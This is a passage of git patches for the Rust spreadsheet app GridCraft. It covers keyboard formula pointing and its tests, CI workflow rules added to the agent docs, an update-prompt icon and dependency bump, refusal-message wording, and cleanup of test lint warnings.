Modifiers::NONE); + assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(B4"), "a plain arrow still moves one cell"); +} + #[test] fn shortcuts_format_and_extend() { let mut s = blank(); diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 2329a2720..c99fda5ad 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right; earlier: macro interface on the Automate tab; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-29 · **Change:** minor (Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -195,6 +195,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | 2026-10-24 | minor | Macro step editor: step list with breakpoints, drag to reorder and a command picker, an inspector with reference boxes, a debug bar and grid overlays | | 2026-10-24 | minor | Automate › Macros group (Record Macro, Use Relative References, Run Macro), recording status in the status bar, Macros dialog with macros beside scripts, Record Macro dialog, Ctrl+Shift+letter macro shortcuts; View › Macros keytips open the dialogs | | 2026-10-24 | minor | Ribbon catalog count 275 / 291 → 276 / 292 (View › Macros › Record Macro) | +| 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | | 2026-10-24 | minor | Go To lists the named ranges on every sheet, as Excel's does ("The Go to popup window shows named ranges on every worksheet in your workbook"): a name scoped to another sheet appears as `Sheet2!Name`, and hidden names, constants and formulas are left out. It keeps the references entered (newest first, ten at most), and a double-click on an entry goes there. The Reference box and `edit.goTo` take several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30,H21:H29`) and select them all; `edit.goTo {list: true}` returns the list | | 2026-10-24 | minor | Right-clicking the status bar opens a menu of its statistics, as in Excel ("If you want to customize the status bar, right-click it, and then click the options that you want"): Average, Count and Sum are on by default, and Numerical Count, Minimum and Maximum are new and off by default. The choice is a preference (`view.statusBar`), kept in `prefs.json` | | 2026-10-24 | minor | Ctrl+Shift+U (Control+Shift+U on a Mac) expands or collapses the formula bar, as in Excel ("Expand or collapse the formula bar. Ctrl+Shift+U"), on the grid and in the cell editor or formula bar while editing. On Windows and Linux it used to underline the selection, as Ctrl+U does. The command is `view.expandFormulaBar` (`{on?}`, toggles without it) | From 7d38697f711f81973df729ba66eac5979cddf94d Mon Sep 17 00:00:00 2001 From: Kameron Date: Thu, 29 Oct 2026 15:52:37 -0700 Subject: [PATCH 059/298] Test: Command released in the same frame as the arrow press still jumps Covers the case the fix exists for: an automation keystroke presses and releases within one frame, so the frame-wide modifier state is already empty and only the press event carries Command. With the modifiers read from `i.modifiers` this assertion fails (B3 instead of B1). Co-Authored-By: Claude Fable 5.1 --- crates/ui-egui/tests/it/interaction.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/ui-egui/tests/it/interaction.rs b/crates/ui-egui/tests/it/interaction.rs index 39754591e..e876d736f 100644 --- a/crates/ui-egui/tests/it/interaction.rs +++ b/crates/ui-egui/tests/it/interaction.rs @@ -356,6 +356,16 @@ fn ctrl_arrows_in_point_mode_jump_to_the_edge_of_the_data() { h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); key(&mut h, Key::ArrowUp, Modifiers::NONE); assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(B4"), "a plain arrow still moves one cell"); + // An automation tool (osascript `key code`) presses and releases within one frame, so by the + // time the frame runs `i.modifiers` is already empty: the modifiers that count are the ones on + // the press event. + h.input_mut().events.extend([ + Event::Key { key: Key::ArrowUp, physical_key: None, pressed: true, repeat: false, modifiers: Modifiers::COMMAND }, + Event::ModifiersChanged(Modifiers::NONE), + Event::Key { key: Key::ArrowUp, physical_key: None, pressed: false, repeat: false, modifiers: Modifiers::NONE }, + ]); + h.run_steps(2); + assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(B1"), "Command released in the same frame as the press still jumps"); } #[test] From 400e5acd6cd74574c9357d27755880d3a3aab6e8 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Thu, 29 Oct 2026 22:10:15 -0400 Subject: [PATCH 060/298] CI: workflows only call craft-common-actions at @main (#2921) AGENTS.md (and CLAUDE.md where present) gets a CI workflows section: workflows only call craft-common-actions at @main, with no other jobs; feature and fix PRs don't touch CI and link or open a craft-common-actions issue (a PR only for a small fix that is safe for every app and does not increase CI time); legacy jobs aren't added to and move only as their own task, staying until a shared workflow runs them. windows-arm64.yml moves from its SHA pin to @main. The pinned revision is on craft-common-actions main and the workflow (and the actions it calls) is identical there, so nothing changes in behaviour. --- .github/workflows/windows-arm64.yml | 4 ++-- AGENTS.md | 5 +++++ CLAUDE.md | 5 +++++ 3 files changed, 12 insertions(+), 2 deletions(-) diff --git a/.github/workflows/windows-arm64.yml b/.github/workflows/windows-arm64.yml index 76d146e48..3d5312b14 100644 --- a/.github/workflows/windows-arm64.yml +++ b/.github/workflows/windows-arm64.yml @@ -19,8 +19,8 @@ permissions: jobs: windows-arm64: - # Immutable supporting workflow revision until the new install contract lands upstream. - uses: storytold/craft-common-actions/.github/workflows/windows-arm64.yml@8bb4e5ab95443171104ad88113fe1ef9b0e5ce3f + # Intentionally tracked at @main (not SHA-pinned) so org-wide CI improvements, security fixes, and build optimizations propagate without PR churn across all craftapp repos. + uses: storytold/craft-common-actions/.github/workflows/windows-arm64.yml@main with: app-name: gridcraft app-dir: GridCraft diff --git a/AGENTS.md b/AGENTS.md index 01a8da9b3..42acddadb 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -70,3 +70,8 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr GitHub profiles). Never hand-edit `contributors.json`. - Maintainers refresh the stats with `python3 ../../craftrules/scripts/contributors.py .` (it also re-verifies who wrote each `people.toml` entry; `--check` only verifies). + +## CI workflows +- Workflows in `.github/workflows/` call the shared workflows in [`storytold/craft-common-actions`](https://github.com/storytold/craft-common-actions) at `@main`, with their inputs and secrets. No other jobs: if no shared workflow does what's needed, it doesn't go here. +- Don't add or change CI in a feature or fix PR. If the existing workflows can't build or test a change, link an existing craft-common-actions issue or PR, or open a new issue, or a PR only for a small fix that is safe for every app and does not increase CI time. +- Some workflow files here still run their own jobs. Don't add to them. Moving a job into craft-common-actions is its own task, never part of another PR, and the job stays here until a shared workflow runs it. diff --git a/CLAUDE.md b/CLAUDE.md index 266016a1a..1d316750c 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -51,3 +51,8 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr ## Roadmap `ROADMAP.md` (committed) is the one-page summary: stage, headline numbers, dimensions, languages, progress log. It follows craftrules `standards/progress-docs.md` and points at the detail in `docs/`: `target-app-parity.md` (authoritative assessment), `gaps.md` (ranked work list: pick from it), `roadmap.md` (current focus, beta gates, milestones), `architecture.md`, and the area checklists `function-parity.md`, `chart-parity.md`, `file-format-parity.md`, `ui-parity.md`, `hardware-parity.md`, `localization-parity.md`. Update the affected docs (and their timestamp lines and revision history) whenever work lands. `cargo xtask parity` regenerates `docs/parity-checklist.md` from `crates/engine/src/catalog.rs`. + +## CI workflows +- Workflows in `.github/workflows/` call the shared workflows in [`storytold/craft-common-actions`](https://github.com/storytold/craft-common-actions) at `@main`, with their inputs and secrets. No other jobs: if no shared workflow does what's needed, it doesn't go here. +- Don't add or change CI in a feature or fix PR. If the existing workflows can't build or test a change, link an existing craft-common-actions issue or PR, or open a new issue, or a PR only for a small fix that is safe for every app and does not increase CI time. +- Some workflow files here still run their own jobs. Don't add to them. Moving a job into craft-common-actions is its own task, never part of another PR, and the job stays here until a shared workflow runs it. From f6bcd77b0181828be7939a226a4a87b8ae11db94 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Fri, 30 Oct 2026 01:28:55 -0400 Subject: [PATCH 061/298] Update prompt shows the app icon and accent color instead of a letter (#2928) UPDATE_APP (native builds; craft-update is a native-only dependency) carries our 128 px icon and accent (#1f9d55, its colour in ArtCraft Launcher). The updater, the self-update helper and craft-update's startup prompt all get them through crate::UPDATE_APP; the prompt draws the icon, the accent and "by ArtCraft" (craft-update's default developer). craft-update is pinned to storytold/craft-libs main at 1065653e7 (#434). --- Cargo.lock | 3 ++- Cargo.toml | 3 ++- apps/gridcraft/src/main.rs | 2 +- crates/ui-egui/src/lib.rs | 9 +++++++++ crates/ui-egui/src/updates_ui.rs | 3 +-- 5 files changed, 15 insertions(+), 5 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index efa4b9006..f6f6c2cd6 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -950,13 +950,14 @@ dependencies = [ [[package]] name = "craft-update" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=92d392cff132eaf53e13afff77f38b5c11b73aa0#92d392cff132eaf53e13afff77f38b5c11b73aa0" +source = "git+https://github.com/storytold/craft-libs?rev=1065653e75854e9c17e1ff563acdd344c1b185f0#1065653e75854e9c17e1ff563acdd344c1b185f0" dependencies = [ "chrono", "dunce", "egui", "flate2", "getrandom 0.3.4", + "image", "log", "plist", "semver", diff --git a/Cargo.toml b/Cargo.toml index af96a3f8b..944a7ec0d 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -26,7 +26,8 @@ gridcraft-mcp = { path = "crates/mcp" } gridcraft-pdf = { path = "crates/pdf" } # Every craft-libs crate (craft-update and craft-window here, craft-ui in ui-egui, craft-print in # the app) comes from one storytold/craft-libs revision. -craft-update = { git = "https://github.com/storytold/craft-libs", rev = "92d392cff132eaf53e13afff77f38b5c11b73aa0", version = "=0.1.0", features = ["egui"] } +# craft-update with storytold/craft-libs#434: the update prompt shows the app's icon, accent and developer. +craft-update = { git = "https://github.com/storytold/craft-libs", rev = "1065653e75854e9c17e1ff563acdd344c1b185f0", version = "=0.1.0", features = ["egui"] } # foundation thiserror = "2" diff --git a/apps/gridcraft/src/main.rs b/apps/gridcraft/src/main.rs index 988bf738b..5366bdb44 100644 --- a/apps/gridcraft/src/main.rs +++ b/apps/gridcraft/src/main.rs @@ -256,7 +256,7 @@ fn main() -> eframe::Result<()> { })); let args: Vec = std::env::args().skip(1).collect(); // The restart helper a self-update spawns: it finishes the swap and relaunches, then exits. - if let Some(done) = craft_update::self_update::finish(&craft_update::suite::GRIDCRAFT, &std::env::args_os().skip(1).collect::>()) { + if let Some(done) = craft_update::self_update::finish(&gridcraft_ui_egui::UPDATE_APP, &std::env::args_os().skip(1).collect::>()) { if let Err(e) = done { eprintln!("GridCraft update helper failed: {e}"); std::process::exit(1); diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 4695227fe..db9ab316f 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -6,6 +6,15 @@ #![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] #![forbid(unsafe_code)] +/// GridCraft as craft-update knows it, with its 128 px icon and accent colour: the update +/// prompt shows both, and an AppImage's menu entry gets the icon. +#[cfg(not(target_arch = "wasm32"))] +pub const UPDATE_APP: craft_update::app::App = craft_update::app::App { + icon_png: Some(include_bytes!("../../../assets/app-icon/hicolor/128x128/apps/ai.storyteller.gridcraft.png")), + accent: Some([0x1f, 0x9d, 0x55]), + ..craft_update::suite::GRIDCRAFT +}; + pub mod backstage; mod border_preview; mod cell_pictures; diff --git a/crates/ui-egui/src/updates_ui.rs b/crates/ui-egui/src/updates_ui.rs index 3de56ed87..b74151063 100644 --- a/crates/ui-egui/src/updates_ui.rs +++ b/crates/ui-egui/src/updates_ui.rs @@ -2,7 +2,6 @@ //! offers the new release: Update and Restart (direct self-update), Download or Later. The flow //! itself is `craft_update::updater::Updater`. -use craft_update::suite::GRIDCRAFT; use craft_update::updater::{Action, Status, Updater}; use crate::SheetApp; @@ -19,7 +18,7 @@ pub(crate) struct Runtime { impl Default for Runtime { fn default() -> Self { - Self { updater: Updater::new(&GRIDCRAFT, VERSION), startup: false, manual: false } + Self { updater: Updater::new(&crate::UPDATE_APP, VERSION), startup: false, manual: false } } } From 68a4b1a1c3684fa17553ecb2a1f088c75f6a3567 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Fri, 30 Oct 2026 02:29:28 -0400 Subject: [PATCH 062/298] UPD.1: honor app pretend versions in update checks (#2934) --- Cargo.lock | 2 +- Cargo.toml | 4 ++-- contributors/people.toml | 3 +++ 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index f6f6c2cd6..7a189e317 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -950,7 +950,7 @@ dependencies = [ [[package]] name = "craft-update" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=1065653e75854e9c17e1ff563acdd344c1b185f0#1065653e75854e9c17e1ff563acdd344c1b185f0" +source = "git+https://github.com/storytold/craft-libs?rev=04aa1703b32d299e54f78fcde4182f2b393a9116#04aa1703b32d299e54f78fcde4182f2b393a9116" dependencies = [ "chrono", "dunce", diff --git a/Cargo.toml b/Cargo.toml index 944a7ec0d..4c234044c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -26,8 +26,8 @@ gridcraft-mcp = { path = "crates/mcp" } gridcraft-pdf = { path = "crates/pdf" } # Every craft-libs crate (craft-update and craft-window here, craft-ui in ui-egui, craft-print in # the app) comes from one storytold/craft-libs revision. -# craft-update with storytold/craft-libs#434: the update prompt shows the app's icon, accent and developer. -craft-update = { git = "https://github.com/storytold/craft-libs", rev = "1065653e75854e9c17e1ff563acdd344c1b185f0", version = "=0.1.0", features = ["egui"] } +# craft-update: app-specific pretend versions apply to startup and manual checks. +craft-update = { git = "https://github.com/storytold/craft-libs", rev = "04aa1703b32d299e54f78fcde4182f2b393a9116", version = "=0.1.0", features = ["egui"] } # foundation thiserror = "2" diff --git a/contributors/people.toml b/contributors/people.toml index 5ce80fe59..178e02777 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -103,3 +103,6 @@ real_name = "Helen Kwok" [people.dotCooCoo] real_name = "Robert Lee" sync_github_name = true + +[people.dylanmtaylor] +sync_github_name = true From 6f067cce8af931dec7dd94a7e9eacbc1bbf45a5a Mon Sep 17 00:00:00 2001 From: MarekSpodBiedry <73122968+MarekSpodBiedry@users.noreply.github.com> Date: Fri, 30 Oct 2026 14:59:45 +0100 Subject: [PATCH 063/298] Refusal to shift cells off the worksheet names GridCraft, not Excel (#2941) --- crates/engine/src/cmd/sheet.rs | 4 ++-- crates/engine/src/tests.rs | 10 ++++++++++ 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/sheet.rs b/crates/engine/src/cmd/sheet.rs index 473a877bb..32122abd6 100644 --- a/crates/engine/src/cmd/sheet.rs +++ b/crates/engine/src/cmd/sheet.rs @@ -298,7 +298,7 @@ fn check_push_off_sheet(s: &Session, sheet: usize, axis: Axis, at: u32, count: u if let Some(u) = s.doc()?.wb.sheet(sheet).and_then(|sh| sh.used_range()) { let last = if axis == Axis::Rows { u.end.row } else { u.end.col }; if last >= at && last as u64 + count as u64 >= limit as u64 { - return Err(EngineError::Other("To prevent possible loss of data, Excel cannot shift nonblank cells off of the worksheet.".into())); + return Err(EngineError::Other("To prevent possible loss of data, GridCraft cannot shift nonblank cells off of the worksheet.".into())); } } Ok(()) @@ -521,7 +521,7 @@ fn insert_cells(s: &mut Session, p: &Json) -> Result { RangeRef::new(CellRef::new(r.start.row.max(MAX_ROWS.saturating_sub(r.height())), r.start.col), CellRef::new(MAX_ROWS - 1, r.end.col)) }; if sh.cells.iter_range(doomed).any(|(_, x)| x.formula.is_some() || !x.value.is_empty()) { - return Err(EngineError::Other("To prevent possible loss of data, Excel cannot shift nonblank cells off of the worksheet.".into())); + return Err(EngineError::Other("To prevent possible loss of data, GridCraft cannot shift nonblank cells off of the worksheet.".into())); } } let right = shift == "right"; diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index b61d85c76..7250d3749 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2007,6 +2007,15 @@ fn a_whole_column_table_without_headers_stays_on_the_sheet() { assert!(e.to_string().contains("pushed off the end"), "{e}"); } +#[test] +fn inserting_a_column_next_to_far_right_data_names_gridcraft_in_the_refusal() { + let mut sess = s(); + sess.execute("cell.set", json!({"cell": "XFD1", "input": "2"})).unwrap(); + let e = sess.execute("home.insertColumns", json!({"cols": "A:A"})).unwrap_err(); + assert!(e.to_string().contains("GridCraft cannot shift nonblank cells"), "{e}"); + assert!(!e.to_string().contains("Excel"), "{e}"); +} + #[test] fn inserting_cells_refuses_to_push_values_off_the_sheet() { for (shift, edge, last_fit, last_ok) in [("right", "XFD1", "XFC1", "XFD1"), ("down", "A1048576", "A1048575", "A1048576")] { @@ -2015,6 +2024,7 @@ fn inserting_cells_refuses_to_push_values_off_the_sheet() { sess.execute("cell.set", json!({"cell": edge, "input": "2"})).unwrap(); let e = sess.execute("home.insertCells", json!({"range": "A1", "shift": shift})).unwrap_err(); assert!(e.to_string().contains("loss of data"), "{e}"); + assert!(e.to_string().contains("GridCraft") && !e.to_string().contains("Excel"), "{e}"); assert_eq!(v(&sess, "A1"), Value::Number(1.0)); assert_eq!(v(&sess, edge), Value::Number(2.0)); // A value that still fits moves to the last valid cell. From 1d38a25c8d1f0cda11b268bde79184c9d7169b53 Mon Sep 17 00:00:00 2001 From: Aimar Mendez Date: Fri, 30 Oct 2026 18:19:50 +0000 Subject: [PATCH 064/298] macOS menu test: use the whole native menu, so clippy passes on a Mac e6df6f42 removed the #[allow(unused_imports, dead_code)] on the native_menu module that tests/mac_menu_appkit.rs builds in. That test only compiles on macOS, so `cargo xtask ci` has failed at clippy on every Mac since, while the Linux gate stayed green: - the test called only `install`, leaving `poll`, `sync_windows`, `select_theme`, `WINDOW_ITEM` and most `NativeMenu` fields unused; - the harness = false build has cfg(test) but drops #[test] functions, so the unit tests' `use super::*` was an unused import. The test now also polls the menu with a one-workbook session and checks that the Window menu lists that workbook (#716), which uses the rest of the module. The unit tests name `super::` items instead of a glob import. Verified on macOS 27 (arm64): `cargo xtask ci` passes all 10 steps (with CRAFT_FONTS_DIR at the gate's craft-fonts commit), and the new check fails when the poll is removed (Window menu's last item "" vs "Book1"). --- apps/gridcraft/src/native_menu.rs | 15 ++++++++------- apps/gridcraft/tests/mac_menu_appkit.rs | 15 +++++++++++++-- 2 files changed, 21 insertions(+), 9 deletions(-) diff --git a/apps/gridcraft/src/native_menu.rs b/apps/gridcraft/src/native_menu.rs index 522f4fd68..04139297d 100644 --- a/apps/gridcraft/src/native_menu.rs +++ b/apps/gridcraft/src/native_menu.rs @@ -390,11 +390,12 @@ impl NativeMenu { #[cfg(test)] mod tests { - use super::*; + // No `use super::*`: tests/mac_menu_appkit.rs builds this file with cfg(test) but no test + // harness, so the #[test] functions are left out and a module-level import would be unused. #[test] fn file_menu_has_export_as_pdf_dispatching_the_command() { - let tree = tree(); + let tree = super::tree(); let (_, file) = tree.iter().find(|(title, _)| *title == "File").expect("File menu"); let item = file.iter().find(|e| e.0 == "Export as PDF…").expect("Export as PDF… in the File menu"); assert_eq!(item.1, "file.exportPdf"); @@ -403,23 +404,23 @@ mod tests { #[test] fn help_menu_checks_for_updates_through_the_registered_command() { - let tree = tree(); + let tree = super::tree(); let (_, help) = tree.iter().find(|(title, _)| *title == "Help").expect("Help menu"); let item = help.iter().find(|e| e.0 == "Check for Updates…").expect("Check for Updates… in the Help menu"); assert_eq!(item.1, "app.checkForUpdates"); - let mut app = SheetApp::new(gridcraft_engine::Session::new(), Default::default()); + let mut app = super::SheetApp::new(gridcraft_engine::Session::new(), Default::default()); assert!(app.run(item.1, serde_json::json!({})).is_ok()); } #[test] fn theme_choices_use_the_shared_preference_command() { - let mut app = SheetApp::new(gridcraft_engine::Session::new(), Default::default()); + let mut app = super::SheetApp::new(gridcraft_engine::Session::new(), Default::default()); for mode in ["dark", "system", "light"] { - assert!(select_theme(&mut app, &format!("theme:{mode}"))); + assert!(super::select_theme(&mut app, &format!("theme:{mode}"))); assert_eq!(app.ui.theme_mode(), mode); assert!(app.message.is_none()); } - assert!(!select_theme(&mut app, "view.formulaBar")); + assert!(!super::select_theme(&mut app, "view.formulaBar")); assert_eq!(app.ui.theme_mode(), "light"); } } diff --git a/apps/gridcraft/tests/mac_menu_appkit.rs b/apps/gridcraft/tests/mac_menu_appkit.rs index 8b132fd05..ca1eef509 100644 --- a/apps/gridcraft/tests/mac_menu_appkit.rs +++ b/apps/gridcraft/tests/mac_menu_appkit.rs @@ -19,12 +19,23 @@ fn main() { nsapp.finishLaunching(); let ctx = egui::Context::default(); - let _menu = native_menu::NativeMenu::install(&ctx); + let mut menu = native_menu::NativeMenu::install(&ctx); let bar = nsapp.mainMenu().expect("a main menu"); let tops: Vec = (0..bar.numberOfItems()).filter_map(|i| bar.itemAtIndex(i)?.submenu()).map(|m| m.title().to_string()).collect(); assert_eq!(tops, ["GridCraft", "File", "Edit", "View", "Insert", "Format", "Tools", "Data", "Window", "Help"]); - assert_eq!(nsapp.windowsMenu().map(|m| m.title().to_string()).as_deref(), Some("Window"), "AppKit knows the Window menu"); + let windows_menu = nsapp.windowsMenu().expect("AppKit knows the Window menu"); + assert_eq!(windows_menu.title().to_string(), "Window"); + + // A poll lists the open workbook windows at the end of the Window menu (#716). + let mut session = gridcraft_engine::Session::new(); + session.new_workbook(); + let mut app = gridcraft_ui_egui::SheetApp::new(session, Default::default()); + menu.poll(&mut app, &ctx, egui::ViewportId::ROOT); + let open = app.open_windows(); + assert_eq!(open.len(), 1, "one workbook window"); + let last = windows_menu.itemAtIndex(windows_menu.numberOfItems() - 1).expect("a Window menu item"); + assert_eq!(last.title().to_string(), open[0].label(), "the Window menu lists the open workbook"); println!("mac_menu_appkit: ok"); } From 75f7056e1b96f7ce30f402310221ca1a6d083a17 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Fri, 30 Oct 2026 15:42:48 -0400 Subject: [PATCH 065/298] Review fixes: keep Plutonium-fream's contributor entry, order ui-parity changelog --- contributors/people.toml | 3 +++ docs/ui-parity.md | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/contributors/people.toml b/contributors/people.toml index 178e02777..6f7327033 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -106,3 +106,6 @@ sync_github_name = true [people.dylanmtaylor] sync_github_name = true + +[people.Plutonium-fream] +sync_github_name = true diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 0e4ddedb9..b5f6d591a 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -194,6 +194,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | | 2026-10-29 | minor | Insert Hyperlink opens with an existing link's address, display text and ScreenTip (#2876). An address-only edit preserves the cell's content and formula; Cancel leaves the link unchanged, and Undo restores the edit | | 2026-10-27 | minor | Ctrl with the numpad's + inserts rows, columns or cells as Ctrl+Shift+= does, as in Excel; it did nothing because the numpad key arrives without Shift | | 2026-10-25 | minor | AutoSum (Alt+=, Home › AutoSum) over a selected row puts its total to the right of the row, or in its last cell when that is empty, as in Excel; it wrote a one-cell total under each cell. A selection's empty last column takes each row's total and its empty last row each column's, with the block's total in the corner when both are empty | @@ -201,7 +202,6 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | 2026-10-24 | minor | Macro step editor: step list with breakpoints, drag to reorder and a command picker, an inspector with reference boxes, a debug bar and grid overlays | | 2026-10-24 | minor | Automate › Macros group (Record Macro, Use Relative References, Run Macro), recording status in the status bar, Macros dialog with macros beside scripts, Record Macro dialog, Ctrl+Shift+letter macro shortcuts; View › Macros keytips open the dialogs | | 2026-10-24 | minor | Ribbon catalog count 275 / 291 → 276 / 292 (View › Macros › Record Macro) | -| 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | | 2026-10-24 | minor | Go To lists the named ranges on every sheet, as Excel's does ("The Go to popup window shows named ranges on every worksheet in your workbook"): a name scoped to another sheet appears as `Sheet2!Name`, and hidden names, constants and formulas are left out. It keeps the references entered (newest first, ten at most), and a double-click on an entry goes there. The Reference box and `edit.goTo` take several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30,H21:H29`) and select them all; `edit.goTo {list: true}` returns the list | | 2026-10-24 | minor | Right-clicking the status bar opens a menu of its statistics, as in Excel ("If you want to customize the status bar, right-click it, and then click the options that you want"): Average, Count and Sum are on by default, and Numerical Count, Minimum and Maximum are new and off by default. The choice is a preference (`view.statusBar`), kept in `prefs.json` | | 2026-10-24 | minor | Ctrl+Shift+U (Control+Shift+U on a Mac) expands or collapses the formula bar, as in Excel ("Expand or collapse the formula bar. Ctrl+Shift+U"), on the grid and in the cell editor or formula bar while editing. On Windows and Linux it used to underline the selection, as Ctrl+U does. The command is `view.expandFormulaBar` (`{on?}`, toggles without it) | From 591c6ed6f9522c4d0b9a5ac00c79f7f662344104 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 15:40:56 -0500 Subject: [PATCH 066/298] Fix XLS style test Clippy complexity --- crates/xlsx/src/tests/xls_style_tests.rs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/crates/xlsx/src/tests/xls_style_tests.rs b/crates/xlsx/src/tests/xls_style_tests.rs index d944e8915..cfd2b4698 100644 --- a/crates/xlsx/src/tests/xls_style_tests.rs +++ b/crates/xlsx/src/tests/xls_style_tests.rs @@ -197,6 +197,12 @@ fn reads_fonts_fills_borders_alignment_and_protection() { let (wb, report) = read_xls(&compound("Workbook", &formatted())).unwrap(); assert!(report.warnings[0].contains("cell formatting"), "{:?}", report.warnings); assert!(!report.warnings.iter().any(|w| w.contains("shorter than expected")), "{:?}", report.warnings); + reads_primary_style(&wb); + reads_fallback_styles(&wb); + reads_cell_style_and_xlsx_roundtrip(&wb); +} + +fn reads_primary_style(wb: &Workbook) { // The Normal style's font is the workbook default. let normal = wb.styles.get(StyleId::DEFAULT); assert_eq!((normal.font.name.as_str(), normal.font.size, normal.font.bold), ("Arial", 10.0, false)); @@ -222,7 +228,10 @@ fn reads_fonts_fills_borders_alignment_and_protection() { // A formatted blank cell keeps its formatting. assert_eq!(wb.sheets[0].style_id(CellRef::parse("B1").unwrap()), wb.sheets[0].style_id(CellRef::parse("A1").unwrap())); assert_eq!(wb.sheets[0].value(CellRef::parse("B1").unwrap()), Value::Empty); +} +fn reads_fallback_styles(wb: &Workbook) { + let normal = wb.styles.get(StyleId::DEFAULT); let s = style_at(&wb, "A2"); assert_eq!(s.font, normal.font, "font index 4 falls back to the default font"); assert_eq!(s.fill, Fill { pattern: PatternType::Gray125, fg: Color::Rgb(0xFF0000), bg: Color::Rgb(0xFFFF00) }); @@ -240,7 +249,9 @@ fn reads_fonts_fills_borders_alignment_and_protection() { assert_eq!(wb.sheets[0].style_id(CellRef::parse("A5").unwrap()), StyleId::DEFAULT); // A blank cell in the default style isn't stored. assert!(wb.sheets[0].cell(CellRef::parse("A7").unwrap()).is_none()); +} +fn reads_cell_style_and_xlsx_roundtrip(wb: &Workbook) { let s = style_at(&wb, "A6"); assert_eq!((s.font.name.as_str(), s.font.size, s.font.color), ("Times New Roman", 11.0, Color::Rgb(0xABCDEF))); assert_eq!((s.font.underline, s.font.vert), (Underline::SingleAccounting, VertAlign::Subscript)); From c82a1384629765240339438ddab8281d1382e80c Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 15:47:18 -0500 Subject: [PATCH 067/298] M2.1: fix XLS style test clippy lints --- crates/xlsx/src/tests/xls_style_tests.rs | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git 